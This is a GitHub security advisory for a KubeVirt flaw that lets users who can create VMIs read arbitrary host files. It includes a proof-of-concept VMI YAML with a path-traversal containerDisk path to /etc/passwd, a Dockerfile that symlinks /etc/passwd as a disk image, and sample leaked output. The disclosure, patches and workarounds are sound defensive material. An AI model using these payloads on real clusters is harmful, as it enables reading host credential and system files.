GHSA-qv98-3369-g364 KubeVirt vulnerable to arbitrary file read on host

• Go kubevirt.io/kubevirt: >= 0.20.0, < 0.55.1 → fixed in 0.55.1

Impact Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors: 1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`. Example: ```yaml apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: name: vmi-fedora spec: domain: devices: disks: • disk: bus: virtio name: containerdisk • disk: bus: virtio name: cloudinitdisk • disk: bus: virtio name: containerdisk1 rng: {} resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: • containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0 name: containerdisk • containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0 path: test3/../../../../../../../../etc/passwd name: containerdisk1 • cloudInitNoCloud: userData: | #!/bin/sh echo 'just something to make cirros happy' name: cloudinitdisk ``` 2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect: ```Dockerfile FROM RUN mkdir -p /etc/ && touch /etc/passwd RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img ``` 3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads. In all three cases it is then possible to at lest read any host file: ``` $ sudo cat /dev/vdc root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin [...] ``` Patches KubeVirt 0.55.1 provides patches to fix the vulnerability. Workarounds • Ensure that the `HotplugVolumes` feature-gate is disabled • ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.| • Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work). References Disclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm For more information For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix: • https://github.com/kubevirt/kubevirt/pull/8198 • https://github.com/kubevirt/kubevirt/pull/8268 Credits Oliver Brooks and James Klopchic of NCC Group Diane Dubois and Roman Mohr of Google